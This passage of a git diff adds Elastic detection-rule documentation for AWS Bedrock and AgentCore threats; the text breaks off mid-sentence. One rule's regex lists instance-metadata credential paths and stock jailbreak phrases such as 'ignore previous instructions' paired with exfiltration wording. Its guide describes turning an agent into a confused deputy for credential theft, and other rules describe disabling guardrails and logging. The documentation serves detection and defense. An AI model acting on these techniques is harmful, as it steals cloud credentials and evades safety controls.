"monitoring.amazonaws.com" or + "ecr.amazonaws.com" or + "ecr-public.amazonaws.com" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agentcore-resource-created-with-iam-execution-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agentcore-resource-created-with-iam-execution-role.asciidoc new file mode 100644 index 0000000000..f47a9ad470 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agentcore-resource-created-with-iam-execution-role.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-agentcore-resource-created-with-iam-execution-role]] +=== AWS Bedrock AgentCore Resource Created with IAM Execution Role + +Detects the creation of an AWS Bedrock AgentCore resource (code interpreter, agent runtime, browser, or harness) with an IAM execution role attached. When an attacker with iam:PassRole permission creates an AgentCore resource and attaches a privileged role, subsequent invocations inside that resource execute as the attached role — enabling privilege escalation to roles that trust bedrock-agentcore.amazonaws.com. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Bedrock +* Service: AWS IAM +* Tactic: Privilege Escalation +* Tactic: Persistence +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Domain: GenAI + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock AgentCore Resource Created with IAM Execution Role* + + +AWS Bedrock AgentCore services (code interpreters, agent runtimes, browsers, harnesses) run user workloads inside isolated MicroVMs. When an IAM role is attached at creation time, all code executing inside the resource assumes that role's identity. An attacker with iam:PassRole and bedrock-agentcore:Create* permissions can attach a privileged role and then invoke the resource to operate as that role. + +The four Create* events covered here are management-plane events logged to CloudTrail by default. The subsequent Start*/Invoke* data-plane events are NOT captured by the default management events trail and cannot be detected without enabling data-plane logging. + + +*Possible investigation steps* + + +- Check the caller identity (`aws.cloudtrail.user_identity.arn`) against expected provisioning principals. Unexpected users or roles creating AgentCore resources should be investigated. +- Examine `aws.cloudtrail.request_parameters` for the attached role ARN (`executionRoleArn` or `roleArn`) and evaluate whether that role has permissions beyond what the AgentCore workload legitimately requires. +- Check for subsequent `StartCodeInterpreterSession`, `StartBrowserSession`, or `InvokeAgentRuntime` events from the same caller against the newly created resource (requires data-plane logging to be enabled). +- Review the IAM PassRole permission of the calling identity and whether it is constrained by `iam:PassedToService` conditions. + + +*False positive analysis* + + +- Automated provisioning by CDK/CloudFormation/Terraform with a known service account. +- Platform engineering pipelines deploying Bedrock-based AI workloads. +- Filter on `user_agent.original` for known IaC tools. + + +*Response and remediation* + + +- Suspend the calling identity's iam:PassRole permission while investigating. +- Delete the newly created AgentCore resource to stop active sessions. +- Rotate the attached execution role's credentials if exploitation is confirmed. +- Enable data-plane logging for bedrock-agentcore to detect subsequent session invocations. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" and + event.provider: "bedrock-agentcore.amazonaws.com" and + event.action: ( + "CreateCodeInterpreter" or + "CreateAgentRuntime" or + "CreateBrowser" or + "CreateHarness" + ) and + event.outcome: "success" and + aws.cloudtrail.request_parameters: (*executionRoleArn* or *roleArn*) and + not aws.cloudtrail.user_identity.invoked_by: ("bedrock-agentcore.amazonaws.com" or "cloudformation.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agentcore-runtime-prompt-containing-credentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agentcore-runtime-prompt-containing-credentials.asciidoc new file mode 100644 index 0000000000..9c2f0b341c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agentcore-runtime-prompt-containing-credentials.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-agentcore-runtime-prompt-containing-credentials]] +=== AWS Bedrock AgentCore Runtime Prompt Containing Credentials + +Identifies prompts sent to an Amazon Bedrock AgentCore runtime that contain AWS access key identifiers (AKIA long-term or ASIA temporary/STS), Amazon Bedrock API keys (ABSK bearer tokens), or PEM-encoded private keys. The runtime application logs record the caller-supplied prompt; credentials embedded in a prompt are exposed to the model provider, persisted in observability logs, and may be returned in completions or used by downstream tools. This commonly indicates accidental secret leakage by a user or application, or an attempt to stage credentials for misuse through the agent. Secrets should never be passed to an agent in clear text. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/observability.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: ES|QL +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock AgentCore Runtime Prompt Containing Credentials* + + +Amazon Bedrock AgentCore runtime application logs capture the prompt supplied to the agent. When that prompt contains an AWS access key (AKIA/ASIA) or a PEM private key, the secret is exposed to the model provider and stored in observability logs, and it may be echoed in completions or consumed by the agent's tools. This usually reflects accidental leakage but can also be an attempt to stage credentials for abuse through the agent. + + +*Possible investigation steps* + + +- Review "aws.bedrock_agentcore.request_payload.prompt" to identify the credential material and determine whether it is live. +- Identify the agent in "aws.bedrock_agentcore.agent_name"/"aws.bedrock_agentcore.resource_arn" and the conversation in "aws.bedrock_agentcore.session_id"; review surrounding prompts in the session. +- Determine the source application or identity invoking the runtime and whether passing secrets was intentional. +- If the key is an AWS access key, identify the IAM principal it belongs to and review its recent activity in CloudTrail for misuse. + + +*False positive analysis* + + +- Sample or documentation key material can match. Confirm whether the credential is live before escalating. + + +*Response and remediation* + + +- If the credential is live, rotate or revoke it immediately and review its activity for unauthorized use. +- Remove the secret from any retained logs or conversation stores where feasible, and notify the owning team. +- Educate users and applications to never pass secrets to agents in clear text, and consider input filtering or guardrails that block credential patterns. + + +==== Setup + + +This rule requires Amazon Bedrock AgentCore runtime application logs collected via the Elastic AWS Bedrock AgentCore integration (observability logs delivered to S3 and ingested into the aws_bedrock_agentcore.runtime_application_logs dataset). See https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/observability.html for enabling AgentCore observability. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock_agentcore.runtime_application_logs-* metadata _id, _version, _index +| where aws.bedrock_agentcore.operation == "InvokeAgentRuntime" and ( + aws.bedrock_agentcore.request_payload.prompt rlike """.*(AKIA|ASIA)[A-Z0-9]{16}.*""" + or aws.bedrock_agentcore.request_payload.prompt rlike """.*-----BEGIN [A-Z ]*PRIVATE KEY-----.*""" + or aws.bedrock_agentcore.request_payload.prompt rlike """.*ABSK[A-Za-z0-9+/=]{20}.*""" + or aws.bedrock_agentcore.request_payload.prompt rlike """.*bedrock-api-key-[-A-Za-z0-9+/=._~:]{20,}.*""" + ) +| keep _id, _version, _index, @timestamp, aws.*, cloud.*, event.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata.asciidoc new file mode 100644 index 0000000000..cb3c3cad8a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-agentcore-runtime-prompt-targeting-credentials-or-instance-metadata]] +=== AWS Bedrock AgentCore Runtime Prompt Targeting Credentials or Instance Metadata + +Identifies prompts sent to an Amazon Bedrock AgentCore runtime that attempt to harvest credentials or coerce the agent into exfiltrating data. The runtime application logs capture the caller-supplied prompt; this rule flags prompts that reference the cloud instance metadata service (169.254.169.254, the ECS task metadata address, or the "latest/meta-data" / "security-credentials" paths), prompts that name AWS access or secret keys directly, and prompt-injection or jailbreak language ("ignore previous instructions", "developer mode", "do anything now") combined with intent to reveal secrets, system prompts, or send data to an external endpoint. Asking an agent to read instance metadata credentials or to exfiltrate secrets is rarely legitimate and indicates an attempt to weaponize the agent for credential theft, even when the model refuses the request. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/observability.html +* https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Threat: IMDS Credential Theft +* Rule Type: ES|QL +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock AgentCore Runtime Prompt Targeting Credentials or Instance Metadata* + + +Amazon Bedrock AgentCore runtimes execute agents that can call tools, run code, and reach network resources. A prompt that instructs the agent to read the cloud instance metadata service, return AWS credentials, or send data to an external endpoint is an attempt to turn the agent into a confused deputy for credential theft and exfiltration. The agent may refuse, but the attempt itself is a strong indicator of targeting; a more capable or misconfigured agent (one with code execution or outbound network access) could comply. + +This rule inspects the caller-supplied prompt recorded in the AgentCore runtime application logs and fires on instance-metadata or credential-endpoint references, explicit AWS key references, or jailbreak/override language paired with secret-extraction or exfiltration intent. + + +*Possible investigation steps* + + +- Review the full prompt in "aws.bedrock_agentcore.request_payload.prompt" to determine whether it targets instance metadata, names credentials, or attempts a jailbreak with exfiltration intent. +- Identify the agent in "aws.bedrock_agentcore.agent_name"/"aws.bedrock_agentcore.resource_arn" and the session in "aws.bedrock_agentcore.session_id"; pivot on the session for the surrounding prompts in the same conversation. +- Determine the caller path to the runtime (front-end application, gateway, or direct InvokeAgentRuntime) and whether the source is expected. +- Assess the agent's capabilities: whether it has code execution, outbound network access, or tools that could fetch metadata or reach external endpoints, which raises the impact if the agent had complied. +- Correlate with the execution role's activity in CloudTrail for any credential use outside the runtime around the same time. + + +*False positive analysis* + + +- Security testing and guardrail validation can deliberately send these payloads. Confirm the caller and exclude approved testing identities after validation. +- Content that legitimately discusses the metadata service or AWS key formats can match; review the prompt to confirm intent. + + +*Response and remediation* + + +- If the activity is unauthorized, identify the source application or identity driving the prompts and block it; review the conversation session for related attempts. +- Verify the agent did not return credentials or reach the metadata service; if the agent has code execution, ensure the instance metadata service requires session tokens (IMDSv2) and that the execution role is least privilege. +- Add or tune AgentCore guardrails to block instance-metadata and credential-exfiltration prompts, and monitor the agent's execution role for use outside the runtime. + + +==== Setup + + +This rule requires Amazon Bedrock AgentCore runtime application logs collected via the Elastic AWS Bedrock AgentCore integration (observability logs delivered to S3 and ingested into the aws_bedrock_agentcore.runtime_application_logs dataset). See https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/observability.html for enabling AgentCore observability. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock_agentcore.runtime_application_logs-* metadata _id, _version, _index +| eval Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower = to_lower(aws.bedrock_agentcore.request_payload.prompt) +| where aws.bedrock_agentcore.operation == "InvokeAgentRuntime" and ( + Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower rlike """.*(169\.254\.169\.254|169\.254\.170\.2|/latest/meta-data|/latest/api/token|security-credentials).*""" + or Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower rlike """.*(aws_secret_access_key|aws_access_key_id|secret access key|access key id).*""" + or ( + Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower rlike """.*(ignore (all )?(your )?(previous|prior|above) instructions|disregard (your |the )?(previous |above )?instructions|developer mode|do anything now|jailbreak).*""" + and Esql_priv.aws_bedrock_agentcore_request_payload_prompt_lower rlike """.*(system prompt|reveal|exfiltrate|credential|secret|password|api key|token|send .* to https?://).*""" + ) + ) +| keep _id, _version, _index, @timestamp, aws.*, cloud.*, event.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-api-key-phantom-user-activity-outside-bedrock.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-api-key-phantom-user-activity-outside-bedrock.asciidoc new file mode 100644 index 0000000000..03c3846a95 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-api-key-phantom-user-activity-outside-bedrock.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-api-key-phantom-user-activity-outside-bedrock]] +=== AWS Bedrock API Key Phantom User Activity Outside Bedrock + +Identifies an Amazon Bedrock API key phantom user (an IAM user whose name starts with "BedrockAPIKey-") acting as the caller of a non-Bedrock API request, such as IAM, STS, EC2, VPC, or KMS calls. These users are provisioned by AWS to back a Bedrock bearer token and carry the AmazonBedrockLimitedAccess managed policy, which also grants IAM, VPC, and KMS reconnaissance. A phantom user performing activity outside of Bedrock indicates its credentials are being used beyond their intended scope, which is the privilege-escalation path realized: an attacker who created standard IAM access keys for the phantom user is now using them for reconnaissance or lateral movement outside the Bedrock authentication boundary. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-api-keys +* https://docs.aws.amazon.com/bedrock/latest/userguide/api-keys.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Domain: GenAI +* Service: AWS IAM +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock API Key Phantom User Activity Outside Bedrock* + + +Amazon Bedrock API key phantom users ("BedrockAPIKey-*") exist only to back a Bedrock bearer token and carry the AmazonBedrockLimitedAccess managed policy. That policy grants Bedrock control-plane actions plus IAM, VPC, and KMS reconnaissance, so if an attacker adds standard IAM access keys (or a console login) to the phantom user, those credentials can be used for reconnaissance and lateral movement well beyond Bedrock. + +This rule fires when a "BedrockAPIKey-*" user is the caller of an API request whose service is not Bedrock. Because the phantom user has no legitimate reason to act outside Bedrock, such activity is the privilege-escalation path realized. + + +*Possible investigation steps* + + +- Review "aws.cloudtrail.user_identity.arn", "event.provider", and "event.action" to understand what non-Bedrock activity the phantom user performed. +- Inspect "source.ip"/"source.as.number" and "user_agent.original", and determine whether the phantom user holds IAM access keys or a login profile (the escalation pivot). +- Review the full sequence of the phantom user's actions for reconnaissance (IAM/EC2/STS enumeration) or attempts to access other resources. +- Correlate with the credential-addition event (CreateAccessKey/CreateLoginProfile on the same user). + + +*False positive analysis* + + +- Phantom users are not meant to perform non-Bedrock activity, so this should be rare. Validate any intentional repurposing before excluding the identity. + + +*Response and remediation* + + +- If unauthorized, disable and remove the phantom user's IAM access keys and login profile, and delete the phantom user after preserving forensic evidence. +- Review the account for resources the phantom user may have accessed or modified. +- Deploy an SCP denying "iam:CreateAccessKey" and "iam:CreateLoginProfile" on "arn:aws:iam::*:user/BedrockAPIKey-*" to prevent the pivot. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and aws.cloudtrail.user_identity.type: "IAMUser" + and user.name: BedrockAPIKey-* + and not event.provider: ( + "bedrock.amazonaws.com" or "signin.amazonaws.com" or + "agreement-marketplace.amazonaws.com" or "discovery-marketplace.amazonaws.com" + ) + and not event.action: ("GetCallerIdentity" or "GetSessionToken" or "GetAccessKeyInfo") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action.asciidoc new file mode 100644 index 0000000000..86f6cc9cae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-api-key-used-for-destructive-or-anti-recovery-action]] +=== AWS Bedrock API Key Used for Destructive or Anti-Recovery Action + +Identifies an Amazon Bedrock API key (bearer token) being used to perform a destructive or anti-recovery control-plane action, such as deleting a guardrail, deleting a custom or imported model, removing provisioned throughput, or disabling model invocation logging. Bedrock API keys are bearer credentials intended for model invocation (InvokeModel, Converse); using one to delete Bedrock resources or disable logging is inconsistent with that purpose and is characteristic of LLMjacking or sabotage following key theft. Every Bedrock API key call is identifiable in CloudTrail by "additionalEventData.callWithBearerToken" being true. The rule matches regardless of outcome, because a destructive attempt via a bearer token is suspicious even when denied. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-api-keys +* https://docs.aws.amazon.com/bedrock/latest/userguide/api-keys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock API Key Used for Destructive or Anti-Recovery Action* + + +Amazon Bedrock API keys are bearer tokens created for model invocation. In CloudTrail, every request made with one carries "additionalEventData.callWithBearerToken" set to true, which distinguishes it from a standard SigV4-signed call. The AmazonBedrockLimitedAccess policy attached to Bedrock API key phantom users also permits destructive Bedrock control-plane actions, so a stolen or misused key can delete guardrails and models or disable logging. + +Using an API key to delete guardrails, custom or imported models, or provisioned throughput, or to disable model invocation logging, is inconsistent with the credential's purpose. It is characteristic of LLMjacking operations (which frequently disable guardrails and logging) or of sabotage following credential theft. + + +*Possible investigation steps* + + +- Identify the specific action in "event.action" and the affected resource in "aws.cloudtrail.request_parameters". +- Identify the principal in "aws.cloudtrail.user_identity.arn"/"aws.cloudtrail.user_identity.type" and review "source.ip", "source.as.number", and "user_agent.original"; generic HTTP clients (python-requests, aiohttp, curl) are a further LLMjacking indicator. +- Review the same principal's other Bedrock API key activity for model-invocation spikes, cross-region use, or additional destructive actions. +- Determine whether model invocation logging or guardrails were disabled, and when, to scope any window of reduced visibility. + + +*False positive analysis* + + +- Sanctioned automation may manage Bedrock resources with an API key. Confirm the principal and change, and exclude known maintenance identities after validation. + + +*Response and remediation* + + +- If unauthorized, revoke the Bedrock API key (attach an inline deny on "bedrock:CallWithBearerToken" to the phantom user or deactivate the service-specific credential) and restore the deleted resource or re-enable logging. +- Check the phantom user for IAM access keys created as a persistence pivot and revoke them. +- Review the principal's recent activity and prefer short-term keys or STS going forward. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* METADATA _id, _version, _index +| WHERE event.provider == "bedrock.amazonaws.com" + AND aws.cloudtrail.additional_eventdata RLIKE """.*callWithBearerToken=true.*""" + AND event.action IN ( + "DeleteGuardrail", + "DeleteModelInvocationLoggingConfiguration", + "PutModelInvocationLoggingConfiguration", + "DeleteImportedModel", + "DeleteCustomModel", + "DeleteModelCustomizationJob", + "DeleteProvisionedModelThroughput", + "DeleteMarketplaceModelEndpoint" + ) +| KEEP _id, _version, _index, @timestamp, aws.*, cloud.*, event.*, source.*, user.*, user_agent.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-automated-reasoning-safety-policy-tampering.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-automated-reasoning-safety-policy-tampering.asciidoc new file mode 100644 index 0000000000..f30b40e6be --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-automated-reasoning-safety-policy-tampering.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-automated-reasoning-safety-policy-tampering]] +=== AWS Bedrock Automated Reasoning Safety Policy Tampering + +Detects deletion or modification of AWS Bedrock Automated Reasoning policies via the DeleteAutomatedReasoningPolicy, UpdateAutomatedReasoningPolicy, or UpdateAutomatedReasoningPolicyAnnotations CloudTrail actions. Automated Reasoning policies are a Bedrock safety and validation control that constrains model outputs against formal rules. An adversary who deletes a policy or alters the policy definition or its annotations weakens an enforced output-validation defense, potentially allowing unsafe or non-compliant model responses to pass unchecked. Benign build, test-workflow, and test-case CRUD operations are intentionally excluded as they have no coherent abuse path. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/automated-reasoning.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Automated Reasoning Safety Policy Tampering* + + +AWS Bedrock Automated Reasoning policies enforce formal, rule-based validation of model outputs, acting as a +safety control that constrains what a model is permitted to return. Deleting a policy or modifying its +definition or annotations directly weakens this control. Adversaries who have gained access to the Bedrock +control plane may tamper with these policies to evade output-validation defenses, enabling unsafe, manipulated, +or non-compliant model behavior. This detection identifies `DeleteAutomatedReasoningPolicy`, +`UpdateAutomatedReasoningPolicy`, and `UpdateAutomatedReasoningPolicyAnnotations` calls so responders can +confirm whether the change was authorized. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, + `aws.cloudtrail.user_identity.access_key_id`, `source.ip`, and `user_agent.original`. + - Determine whether the identity normally administers Bedrock safety policies and whether the action aligns + with an approved change request. +- **Review the specific action** + - For `DeleteAutomatedReasoningPolicy`, identify the deleted policy in + `aws.cloudtrail.flattened.request_parameters` and confirm whether a replacement control exists. + - For `UpdateAutomatedReasoningPolicy` / `UpdateAutomatedReasoningPolicyAnnotations`, inspect + `aws.cloudtrail.request_parameters` and `aws.cloudtrail.response_elements` to understand what was changed + and whether the change loosens validation constraints. +- **Correlate surrounding activity** + - Look for other Defense Evasion or Bedrock control-plane activity from the same identity in the surrounding + window (model invocation changes, guardrail modifications, logging changes). + - Check `cloud.account.id` and `cloud.region` to scope blast radius across the environment. + + +*False positive analysis* + + +- **Planned policy maintenance**: Governance teams may legitimately tune or retire Automated Reasoning + policies. Validate against change tickets and standard templates. +- **Automation**: IaC or CI/CD pipelines may update policies during deployments. Confirm the actor maps to + known automation infrastructure. + + +*Response and remediation* + + +- If the change is unauthorized, restore the prior policy definition or recreate the deleted policy from a + known-good configuration. +- Revoke or 